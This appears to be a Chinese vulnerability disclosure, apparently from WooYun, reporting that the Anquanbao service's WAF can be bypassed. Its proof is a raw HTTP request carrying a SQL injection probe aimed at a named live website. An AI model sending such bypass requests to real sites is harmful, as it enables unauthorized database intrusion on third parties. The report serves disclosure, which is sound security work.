创新工厂安全宝安全防护绕过漏洞

来源 rayh4c@乌云

简要描述:

安全宝本质是CND加DDOS防护加web安全防护,其web安全防护功能存在漏洞,可以轻易绕过。

详细说明:

web安全防护就想到于一个WAF,但是WEB应用过于复杂,很容易就能绕过,如安全宝无法防护80SEC所发现的几种攻击方法:参考

http://www.80sec.com/浅谈绕过waf的数种方法.html

漏洞证明:

如下面安全保护的网站www.51qljr.com,如果拦截到SQL注入攻击是405状态,用下面的包发送SQL注入攻击将绕过安全保护。

GET /xinxi/shownews.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.51qljr.com
Pragma: no-cache
Content-Length: 21
Content-Type: application/x-www-form-urlencoded

id=572′ and 1=1–

修复方案:

web应用太复杂,还有各种复杂场景可以绕过类似的安全防护。

发表评论?

0 条评论。

发表评论